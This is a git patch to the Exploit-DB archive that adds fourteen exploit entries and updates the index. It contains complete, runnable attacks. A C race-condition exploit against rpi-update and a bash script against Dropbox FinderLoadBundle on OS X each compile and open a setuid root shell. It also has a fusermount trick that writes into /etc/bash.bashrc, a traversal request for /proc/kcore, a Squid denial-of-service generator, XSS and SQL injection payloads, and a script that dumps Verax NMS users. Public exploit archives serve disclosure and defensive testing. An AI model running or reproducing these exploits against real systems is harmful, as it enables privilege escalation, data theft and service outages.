From 7fcce7a9540fdfe91d6da351d49c13753f864314 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 1 Oct 2015 05:02:54 +0000 Subject: [PATCH] DB: 2015-10-01 14 new exploits --- files.csv | 20 ++- platforms/hardware/remote/38356.txt | 7 + platforms/java/webapps/38358.txt | 9 ++ platforms/linux/dos/38365.txt | 22 ++++ platforms/linux/local/37089.txt | 21 ++- platforms/linux/local/38357.c | 94 ++++++++++++++ platforms/multiple/dos/38364.txt | 16 +++ platforms/multiple/remote/38368.txt | 17 +++ platforms/multiple/webapps/38366.py | 19 +++ platforms/osx/local/38360.txt | 195 ++++++++++++++++++++++++++++ platforms/php/webapps/38354.txt | 139 ++++++++++++++++++++ platforms/php/webapps/38355.txt | 9 ++ platforms/php/webapps/38359.txt | 9 ++ platforms/php/webapps/38363.txt | 41 ++++++ platforms/php/webapps/38367.txt | 7 + platforms/windows/local/38362.py | 138 ++++++++++++++++++++ platforms/windows/remote/31694.py | 1 + 17 files changed, 760 insertions(+), 4 deletions(-) create mode 100755 platforms/hardware/remote/38356.txt create mode 100755 platforms/java/webapps/38358.txt create mode 100755 platforms/linux/dos/38365.txt create mode 100755 platforms/linux/local/38357.c create mode 100755 platforms/multiple/dos/38364.txt create mode 100755 platforms/multiple/remote/38368.txt create mode 100755 platforms/multiple/webapps/38366.py create mode 100755 platforms/osx/local/38360.txt create mode 100755 platforms/php/webapps/38354.txt create mode 100755 platforms/php/webapps/38355.txt create mode 100755 platforms/php/webapps/38359.txt create mode 100755 platforms/php/webapps/38363.txt create mode 100755 platforms/php/webapps/38367.txt create mode 100755 platforms/windows/local/38362.py diff --git a/files.csv b/files.csv index 106fe1198..962345c71 100755 --- a/files.csv +++ b/files.csv @@ -13830,7 +13830,7 @@ id,file,description,date,author,platform,type,port 15958,platforms/php/webapps/15958.txt,"Joomla Captcha Plugin <= 4.5.1 - Local File Disclosure Vulnerability",2011-01-09,dun,php,webapps,0 15959,platforms/windows/dos/15959.pl,"Macro Express Pro 4.2.2.1 MXE File Syntactic Analysis Buffer Overflow PoC",2011-01-10,LiquidWorm,windows,dos,0 15960,platforms/php/webapps/15960.txt,"Maximus CMS 1.1.2 - (fckeditor) Arbitrary File Upload Vulnerability",2011-01-10,eidelweiss,php,webapps,0 -15962,platforms/solaris/local/15962.c,"Linux Kernel - Solaris < 5.10 138888-01 - Local Root Exploit",2011-01-10,peri.carding,solaris,local,0 +15962,platforms/solaris/local/15962.c,"Linux Kernel Solaris < 5.10 138888-01 - Local Root Exploit",2011-01-10,peri.carding,solaris,local,0 15963,platforms/windows/remote/15963.rb,"Windows Common Control Library (Comctl32) - Heap Overflow (MS10-081)",2011-01-10,"Nephi Johnson",windows,remote,0 15964,platforms/php/webapps/15964.py,"Lotus CMS Fraise 3.0 - LFI - Remote Code Execution Exploit",2011-01-10,mr_me,php,webapps,0 15968,platforms/php/webapps/15968.txt,"vam shop 1.6 - Multiple Vulnerabilities",2011-01-11,"High-Tech Bridge SA",php,webapps,0 @@ -28445,7 +28445,7 @@ id,file,description,date,author,platform,type,port 32215,platforms/php/webapps/32215.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS search.php key Parameter XSS",2008-08-09,Lostmon,php,webapps,0 32216,platforms/php/webapps/32216.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS down.php id Parameter XSS",2008-08-09,Lostmon,php,webapps,0 31573,platforms/ios/webapps/31573.txt,"WiFi Camera Roll 1.2 iOS - Multiple Vulnerabilities",2014-02-11,Vulnerability-Lab,ios,webapps,8880 -31574,platforms/arm/local/31574.c,"Linux Kernel - Local Root Exploit (ARM)",2014-02-11,"Piotr Szerman",arm,local,0 +31574,platforms/arm/local/31574.c,"Linux Kernel < 3.4.5 - Local Root Exploit (ARM - Android 4.2.2 / 4.4)",2014-02-11,"Piotr Szerman",arm,local,0 31575,platforms/windows/remote/31575.rb,"KingScada - kxClientDownload.ocx ActiveX Remote Code Execution",2014-02-11,metasploit,windows,remote,0 31576,platforms/windows/local/31576.rb,"Windows TrackPopupMenuEx Win32k NULL Page",2014-02-11,metasploit,windows,local,0 31577,platforms/unix/remote/31577.rb,"Kloxo - SQL Injection and Remote Code Execution",2014-02-11,metasploit,unix,remote,7778 @@ -32983,7 +32983,7 @@ id,file,description,date,author,platform,type,port 36561,platforms/php/webapps/36561.txt,"Joomla Contact Form Maker 1.0.1 Component - SQL injection vulnerability",2015-03-30,"TUNISIAN CYBER",php,webapps,0 36562,platforms/linux/remote/36562.txt,"Apache Spark Cluster 1.3.x - Arbitary Code Execution",2015-03-30,"Akhil Das",linux,remote,0 36563,platforms/php/webapps/36563.txt,"Joomla Gallery WD - SQL Injection Vulnerability",2015-03-30,CrashBandicot,php,webapps,0 -36564,platforms/linux/local/36564.txt,"Fedora 21 - setroubleshootd Local Root PoC",2015-03-30,"Sebastian Krahmer",linux,local,0 +36564,platforms/linux/local/36564.txt,"Fedora 21 setroubleshootd 3.2.22 - Local Root PoC",2015-03-30,"Sebastian Krahmer",linux,local,0 36565,platforms/php/webapps/36565.txt,"ATutor 2.0.3 Multiple Cross Site Scripting Vulnerabilities",2012-01-16,"Stefan Schurtz",php,webapps,0 36566,platforms/php/webapps/36566.txt,"Beehive Forum 101 Multiple Cross Site Scripting Vulnerabilities",2012-01-16,"Stefan Schurtz",php,webapps,0 36567,platforms/php/webapps/36567.txt,"phpVideoPro 0.8.x/0.9.7 Multiple Cross Site Scripting Vulnerabilities",2012-01-16,"Stefan Schurtz",php,webapps,0 @@ -34642,3 +34642,17 @@ id,file,description,date,author,platform,type,port 38351,platforms/asp/webapps/38351.txt,"Kaseya Virtual System Administrator - Multiple Vulnerabilities",2015-09-29,"Pedro Ribeiro",asp,webapps,0 38352,platforms/windows/remote/38352.rb,"ManageEngine EventLog Analyzer Remote Code Execution",2015-09-29,metasploit,windows,remote,8400 38353,platforms/linux/local/38353.txt,"Ubuntu Apport - Local Privilege Escalation",2015-09-29,halfdog,linux,local,0 +38354,platforms/php/webapps/38354.txt,"Plogger Multiple Input Validation Vulnerabilities",2013-03-02,"Saadat Ullah",php,webapps,0 +38355,platforms/php/webapps/38355.txt,"WordPress Uploader Plugin 'blog' Parameter Cross Site Scripting Vulnerability",2013-03-01,CodeV,php,webapps,0 +38356,platforms/hardware/remote/38356.txt,"Foscam Prior to 11.37.2.49 Directory Traversal Vulnerability",2013-03-01,"Frederic Basse",hardware,remote,0 +38357,platforms/linux/local/38357.c,"rpi-update Insecure Temporary File Handling and Security Bypass Vulnerabilities",2013-02-28,Technion,linux,local,0 +38358,platforms/java/webapps/38358.txt,"HP Intelligent Management Center 'topoContent.jsf' Cross Site Scripting Vulnerability",2013-03-04,"Julien Ahrens",java,webapps,0 +38359,platforms/php/webapps/38359.txt,"WordPress Count Per Day Plugin 'daytoshow' Parameter Cross Site Scripting Vulnerability",2013-03-05,alejandr0.m0f0,php,webapps,0 +38360,platforms/osx/local/38360.txt,"Dropbox < 3.3.x - OSX FinderLoadBundle Local Root Exploit",2015-09-30,cenobyte,osx,local,0 +38362,platforms/windows/local/38362.py,"MakeSFX.exe 1.44 - Stack Buffer Overflow",2015-09-30,hyp3rlinx,windows,local,0 +38363,platforms/php/webapps/38363.txt,"File Manager HTML Injection and Local File Include Vulnerabilities",2013-02-23,"Benjamin Kunz Mejri",php,webapps,0 +38364,platforms/multiple/dos/38364.txt,"Varnish Cache Multiple Denial of Service Vulnerabilities",2013-03-05,tytusromekiatomek,multiple,dos,0 +38365,platforms/linux/dos/38365.txt,"Squid 'httpMakeVaryMark()' Function Remote Denial of Service Vulnerability",2013-03-05,tytusromekiatomek,linux,dos,0 +38366,platforms/multiple/webapps/38366.py,"Verax NMS Multiple Method Authentication Bypass",2013-02-06,"Andrew Brooks",multiple,webapps,0 +38367,platforms/php/webapps/38367.txt,"Your Own Classifieds Cross Site Scripting Vulnerability",2013-03-08,"Rafay Baloch",php,webapps,0 +38368,platforms/multiple/remote/38368.txt,"McAfee Vulnerability Manager 'cert_cn' Parameter Cross Site Scripting Vulnerability",2013-03-08,"Asheesh Anaconda",multiple,remote,0 diff --git a/platforms/hardware/remote/38356.txt b/platforms/hardware/remote/38356.txt new file mode 100755 index 000000000..4ca0ded07 --- /dev/null +++ b/platforms/hardware/remote/38356.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/58290/info + +Foscam is prone to a directory-traversal vulnerability. + +Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application. This may aid in further attacks. + +GET //../proc/kcore HTTP/1.0 \ No newline at end of file diff --git a/platforms/java/webapps/38358.txt b/platforms/java/webapps/38358.txt new file mode 100755 index 000000000..980f11025 --- /dev/null +++ b/platforms/java/webapps/38358.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/58293/info + +HP Intelligent Management Center is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. + +HP Intelligent Management Center 5.1 E0202 is vulnerable; other versions may also be affected. + +http://www.example.com/imc/topo/topoContent.jsf?opentopo_symbolid=">&opentopo_loader=null&opentopo_level1nodeid=3 &topoorientation_parentsymbolid=null&topoorientation_devsymbolid=null&topoorientation_level1nodeid=null &topoorientation_loader=null&checknode=null&ywkeys=isvlan&ywvalues=1&uselefttree=null&usetabpane=null&HandleMode=null&toponamelist=null \ No newline at end of file diff --git a/platforms/linux/dos/38365.txt b/platforms/linux/dos/38365.txt new file mode 100755 index 000000000..0a30e4b3a --- /dev/null +++ b/platforms/linux/dos/38365.txt @@ -0,0 +1,22 @@ +source: http://www.securityfocus.com/bid/58319/info + +Squid is prone to a remote denial-of-service vulnerability. + +Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions. + +Squid 3.2.5 is vulnerable; other versions may also be affected. + +Request + -- cut -- + #!/usr/bin/env python + print 'GET /index.html HTTP/1.1' + print 'Host: localhost' + print 'X-HEADSHOT: ' + '%XX' * 19000 + print '\r\n\r\n' + -- cut -- + + Response + -- cut -- + HTTP/1.1 200 OK + Vary: X-HEADSHOT + -- cut -- diff --git a/platforms/linux/local/37089.txt b/platforms/linux/local/37089.txt index 3fe67c403..478200763 100755 --- a/platforms/linux/local/37089.txt +++ b/platforms/linux/local/37089.txt @@ -1,5 +1,7 @@ Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba Tweet: https://twitter.com/taviso/status/601370527437967360 +Recommend Reading: http://seclists.org/oss-sec/2015/q2/520 +YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88 @@ -95,4 +97,21 @@ LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # $ sudo chmod 0755 /bin/sh # $ sudo umount /tmp/.$$\;/tmp/.$$ # $ rm -rf /tmp/.$$ /tmp/.$$\; -# \ No newline at end of file +# + + +- - - - - - - - - - - + + +$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit +$ mkdir -p '/tmp/exploit||/tmp/exploit' +$ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit' +fusermount: failed to open /etc/fuse.conf: Permission denied +sending file descriptor: Socket operation on non-socket +$ cat /etc/bash.bashrc +/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0 + +Then simply wait for root to login, or alternatively overwrite +/etc/default/locale and wait for cron to run a script that sources it. +That means root wouldn't have to log in, but you would have to wait +around until midnight to check if it worked. diff --git a/platforms/linux/local/38357.c b/platforms/linux/local/38357.c new file mode 100755 index 000000000..c22f33cb3 --- /dev/null +++ b/platforms/linux/local/38357.c @@ -0,0 +1,94 @@ +source: http://www.securityfocus.com/bid/58292/info + +rpi-update is prone to an insecure temporary file-handling vulnerability and a security-bypass vulnerability + +An attacker can exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application, bypass certain security restrictions, and perform unauthorized actions. This may aid in further attacks. + + +/*Local root exploit for rpi-update on raspberry Pi. +Vulnerability discovered by Technion, technion@lolware.net + +https://github.com/Hexxeh/rpi-update/ + + +larry@pih0le:~$ ./rpix updateScript.sh +[*] Launching attack against "updateScript.sh" +[+] Creating evil script (/tmp/evil) +[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh) +[+] Initialize inotify on /tmp/updateScript.sh +[+] Waiting for root to change perms on "updateScript.sh" +[+] Opening root shell (/tmp/sh) +# <-- Yay! + + +Larry W. Cashdollar +http://vapid.dhs.org +@_larry0 + +Greets to Vladz. +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/*Create a small c program to pop us a root shell*/ +int create_nasty_shell(char *file) { + char *s = "#!/bin/bash\n" + "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" + "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" + "chmod 4755 /tmp/sh;\n"; + + int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); + write(fd, s, strlen(s)); + close(fd); + + return 0; +} + + +int main(int argc, char **argv) { + int fd, wd; + char buf[1], *targetpath, *cmd, + *evilsh = "/tmp/evil", *trash = "/tmp/trash"; + + if (argc < 2) { + printf("Usage: %s \n", argv[0]); + return 1; + } + + printf("[*] Launching attack against \"%s\"\n", argv[1]); + + printf("[+] Creating evil script (/tmp/evil)\n"); + create_nasty_shell(evilsh); + + targetpath = malloc(sizeof(argv[1]) + 32); + cmd = malloc(sizeof(char) * 32); + sprintf(targetpath, "/tmp/%s", argv[1]); + sprintf(cmd,"/usr/bin/touch %s",targetpath); + printf("[+] Creating target file (%s)\n",cmd); + system(cmd); + + printf("[+] Initialize inotify on %s\n",targetpath); + fd = inotify_init(); + wd = inotify_add_watch(fd, targetpath, IN_MODIFY); + + printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]); + syscall(SYS_read, fd, buf, 1); + syscall(SYS_rename, targetpath, trash); + syscall(SYS_rename, evilsh, targetpath); + + inotify_rm_watch(fd, wd); + + printf("[+] Opening root shell (/tmp/sh)\n"); + sleep(2); + system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); + + return 0; +} diff --git a/platforms/multiple/dos/38364.txt b/platforms/multiple/dos/38364.txt new file mode 100755 index 000000000..79069e2cf --- /dev/null +++ b/platforms/multiple/dos/38364.txt @@ -0,0 +1,16 @@ +source: http://www.securityfocus.com/bid/58314/info + +Varnish Cache is prone to multiple denial-of-service vulnerabilities. + +An attacker can exploit these issues to crash the application, effectively denying service to legitimate users. + +Varnish Cache 2.1.5 is vulnerable; other versions may also be affected. + +The following example data is available: + +HTTP/1.1 200 OK +Content-Type: text/xml; charset=utf-8 +Content-Length: 99999999999999999 + +HTTP/1.1 200 OK +Content-Length: 2147483647 \ No newline at end of file diff --git a/platforms/multiple/remote/38368.txt b/platforms/multiple/remote/38368.txt new file mode 100755 index 000000000..d59db0a21 --- /dev/null +++ b/platforms/multiple/remote/38368.txt @@ -0,0 +1,17 @@ +source: http://www.securityfocus.com/bid/58401/info + +McAfee Vulnerability Manager is prone to a cross-site scripting vulnerability. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +McAfee Vulnerability Manager 7.5.0 and 7.5.1 are vulnerable; other versions may also be affected. + +GET /www.example.com/index.exp HTTP/1.1 +Cookie: identity=p805oa53c0dab5vpcv1da30me7; +cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E; +remember=remember +Host: 172.28.1.1 +Connection: Keep-alive +Accept-Encoding: gzip,deflate +User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) +Accept: */* \ No newline at end of file diff --git a/platforms/multiple/webapps/38366.py b/platforms/multiple/webapps/38366.py new file mode 100755 index 000000000..0fe409fc2 --- /dev/null +++ b/platforms/multiple/webapps/38366.py @@ -0,0 +1,19 @@ +source: http://www.securityfocus.com/bid/58334/info + +Verax NMS is prone to multiple security-bypass and information disclosure vulnerabilities. + +Attackers can exploit these issues to bypass certain security restrictions, perform unauthorized actions, and obtain sensitive information; this may aid in launching further attacks. + +Versions prior to Verax NMS 2.1.0 are vulnerable. + +#!/usr/bin/python + + #just based on http://www.example.com/tutorials/general/client.html#basic-example + from pyamf import AMF0, AMF3 + from pyamf.remoting.client import RemotingService + + client = RemotingService('http://installationurl/enetworkmanagementsystem-fds/messagebroker/amf', +amf_version=AMF3) + service = client.getService('userService') + + print service.getAllUsers() diff --git a/platforms/osx/local/38360.txt b/platforms/osx/local/38360.txt new file mode 100755 index 000000000..96ec4263e --- /dev/null +++ b/platforms/osx/local/38360.txt @@ -0,0 +1,195 @@ +#!/bin/bash + +# Exploit Title: Dropbox FinderLoadBundle OS X local root exploit +# Google Dork: N/A +# Date: 29/09/15 +# Exploit Author: cenobyte +# Vendor Homepage: https://www.dropbox.com +# Software Link: N/A +# Version: Dropbox 1.5.6, 1.6-7.*, 2.1-11.*, 3.0.*, 3.1.*, 3.3.* +# Tested on: OS X Yosemite (10.10.5) +# CVE: N/A + +# +# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015 +# +# +# - vulnerability description: +# The setuid root FinderLoadBundle that was included in older DropboxHelperTools +# versions for OS X allows loading of dynamically linked shared libraries +# that are residing in the same directory. The directory in which +# FinderLoadBundle is located is owned by root and that prevents placing +# arbitrary files there. But creating a hard link from FinderLoadBundle to +# somewhere in a directory in /tmp circumvents that protection thus making it +# possible to load a shared library containing a payload which creates a root +# shell. +# +# - vulnerable versions: | versions not vulnerable: +# Dropbox 3.3.* for Mac | Dropbox 3.10.* for Mac +# Dropbox 3.1.* for Mac | Dropbox 3.9.* for Mac +# Dropbox 3.0.* for Mac | Dropbox 3.8.* for Mac +# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac +# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac +# Dropbox 2.9.* for Mac | Dropbox 3.5.* for Mac +# Dropbox 2.8.* for Mac | Dropbox 3.4.* for Mac +# Dropbox 2.7.* for Mac | Dropbox 3.2.* for Mac +# Dropbox 2.6.* for Mac | Dropbox 1.5.1-5 for Mac +# Dropbox 2.5.* for Mac | Dropbox 1.4.* for Mac +# Dropbox 2.4.* for Mac | Dropbox 1.3.* for Mac +# Dropbox 2.3.* for Mac | +# Dropbox 2.2.* for Mac | +# Dropbox 2.1.* for Mac | +# Dropbox 1.7.* for Mac | +# Dropbox 1.6.* for Mac | +# Dropbox 1.5.6 for Mac | +# +# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*. +# However, there is no mention of this issue at the Dropbox release notes: +# https://www.dropbox.com/release_notes +# +# It seems that one of the fixes implemented in FinderLoadBundle is a +# check whether the path of the bundle is a root owned directory making it +# impossible to load arbitrary shared libraries as a non-privileged user. +# +# I am not sure how to find the exact version of the FinderLoadBundle executable +# but the included Info.plist contained the following key: +# CFBundleShortVersionString +# This key is no longer present in the plist file of the latest version. So I +# included a basic vulnerable version checker that checks for the presence of +# this key. +# +# - exploit details: +# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features +# used. This exploit relies on Xcode for the shared library + root shell to be +# compiled. After successful exploitation a root shell is left in a directory in +# /tmp so make sure you delete it on your own system when you are done testing. +# +# - example: +# $ ./dropboxfinderloadbundle.sh +# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015 +# +# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3 +# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle +# [-] constructing bundle +# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c +# [-] compiling root shell +# [-] executing FinderLoadBundle using root shell payload +# [-] entering root shell +# bash-3.2# id -P +# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh + +readonly __progname=$(basename $0) + +errx() { + echo "$__progname: $@" >&2 + exit 1 +} + +main() { + local -r tmp=$(head -10 /dev/urandom | md5) + local -r helpertools="/Library/DropboxHelperTools" + local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS" + local -r bundletarget="$bundle/mach_inject_bundle_stub" + local -r bundlesrc="${bundletarget}.c" + local -r sh="/tmp/$tmp/boomsh" + local -r shsrc="${sh}.c" + local -r cfversion="CFBundleShortVersionString" + local -r findbin="FinderLoadBundle" + + echo "Dropbox $findbin OS X local root exploit by cenobyte 2015" + echo + + uname -v | grep -q ^Darwin || \ + errx "this Dropbox exploit only works on OS X" + + [ ! -d "$helpertools" ] && \ + errx "$helpertools does not exist" + + which -s gcc || \ + errx "gcc not found" + + found=0 + for finder in $(ls $helpertools/Dropbox_u*/$findbin); do + stat -s "$finder" | grep -q "st_mode=0104" + if [ $? -eq 0 ]; then + found=1 + break + fi + done + + [ $found -ne 1 ] && \ + errx "couldn't find a setuid root $findbin" + + local -r finderdir=$(dirname $finder) + local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist" + + [ -f "$plist" ] || \ + errx "FinderLoadBundle not vulnerable (cannot open $plist)" + + grep -q "$cfversion" "$plist" || \ + errx "FinderLoadBundle not vulnerable (plist missing $cfversion)" + + echo "[-] creating temporary directory: /tmp/$tmp" + mkdir /tmp/$tmp || \ + errx "couldn't create /tmp/$tmp" + + echo "[-] linking $finder" + ln "$finder" "/tmp/$tmp/$findbin" || \ + errx "ln $finder /tmp/$tmp/$findbin failed" + + echo "[-] constructing bundle" + mkdir -p "$bundle" || \ + errx "cannot create $bundle" + + echo "#include " > "$bundlesrc" + echo "#include " >> "$bundlesrc" + echo "#include " >> "$bundlesrc" + echo "#include " >> "$bundlesrc" + echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc" + echo "void init(void)" >> "$bundlesrc" + echo "{" >> "$bundlesrc" + echo " setuid(0);" >> "$bundlesrc" + echo " setgid(0);" >> "$bundlesrc" + echo " chown(\"$sh\", 0, 0);" >> "$bundlesrc" + echo " chmod(\"$sh\", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc" + echo "}" >> "$bundlesrc" + + echo "[-] creating $shsrc" + echo "#include " > "$shsrc" + echo "#include " >> "$shsrc" + echo "#include " >> "$shsrc" + echo "int" >> "$shsrc" + echo "main()" >> "$shsrc" + echo "{" >> "$shsrc" + echo " setuid(0);" >> "$shsrc" + echo " setgid(0);" >> "$shsrc" + echo " system(\"/bin/bash\");" >> "$shsrc" + echo " return(0);" >> "$shsrc" + echo "}" >> "$shsrc" + + echo "[-] compiling root shell" + gcc "$shsrc" -o "$sh" || \ + errx "gcc failed for $shsrc" + + gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || \ + errx "gcc failed for $bundlesrc" + + echo "[-] executing $findbin using root shell payload" + cd "/tmp/$tmp" + ./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null + [ $? -ne 4 ] && \ + errx "exploit failed, $findbin seems not vulnerable" + + [ ! -f "$sh" ] && \ + errx "$sh was not created, exploit failed" + + stat -s "$sh" | grep -q "st_mode=0104" || \ + errx "$sh was not set to setuid root, exploit failed" + echo "[-] entering root shell" + + "$sh" +} + +main "$@" + +exit 0 diff --git a/platforms/php/webapps/38354.txt b/platforms/php/webapps/38354.txt new file mode 100755 index 000000000..b5a1ed579 --- /dev/null +++ b/platforms/php/webapps/38354.txt @@ -0,0 +1,139 @@ +source: http://www.securityfocus.com/bid/58271/info + +Plogger is prone to following input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data: + +1. An SQL-injection vulnerability +2. Multiple cross-site scripting vulnerabilities +3. A cross-site request forgery vulnerability + +An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in context of the affected site, steal cookie-based authentication credentials, access or modify data, exploit latent vulnerabilities in the underlying database, and perform certain unauthorized actions; other attacks are also possible. + +Plogger 1.0 Rc1 is vulnerable; other versions may also be affected. + ++---+[ Feedback.php Sqli ]+---+ + +Injectable On entries_per_pag Parameter In Feedback.php + +http://www.example.com/plogger/plog-admin/plog-feedback.php?entries_per_page=5' + +p0c + +if (isset($_REQUEST['entries_per_page'])) { + $_SESSION['entries_per_page'] = $_REQUEST['entries_per_page']; + } else if (!isset($_SESSION['entries_per_page'])) { + $_SESSION['entries_per_page'] = 20; + } +. +. +. +$limit = "LIMIT ".$first_item.", ".$_SESSION['entries_per_page']; +. +. + +// Generate javascript init function for ajax editing + $query = "SELECT *, UNIX_TIMESTAMP(`date`) AS `date` from ".PLOGGER_TABLE_PREFIX."comments WHERE `approved` = ".$approved." ORDER BY `id` DESC ".$limit; + $result = run_query($query); + ++---+[ CSRF In Admin Panel ]+---+ + +Plogger is Not using any parameter or security Token to Protect Against CSRF , So its Vuln To CSRF on ALl Locations Inside Admin Panel.. + ++---+[ XSS ]+---+ + +Their Are Multiple XSS in Plogger.Like Editing Comment inside Admin Panel.They Are Filtering The Comments For Normal User But Not For Admin. +And AS it is CSRF All Where SO We Can Edit AN Comment VIA CSRF and Change it With Any XSS Vector.. + +XSS +http://www.example.com/plogger/plog-admin/plog-feedback.php +Edit Comment With ANy XSS Vector OR JUSt do it VIA CSRF. + + +Uploading the File and enter name to any XSS Vector.. + +http://www.example.com/plogger/plog-admin/plog-upload.php + +It Can Me Exploit IN Many Ways LIke +CSRF + SQLI inside Admin panel..which Is define above. + +XSS In Edit Comment.CSRF + XSS + + + +
+
+
+
Edit Comment
+

+
+ +

+

+
+ +

+

+
+ +

+

+
+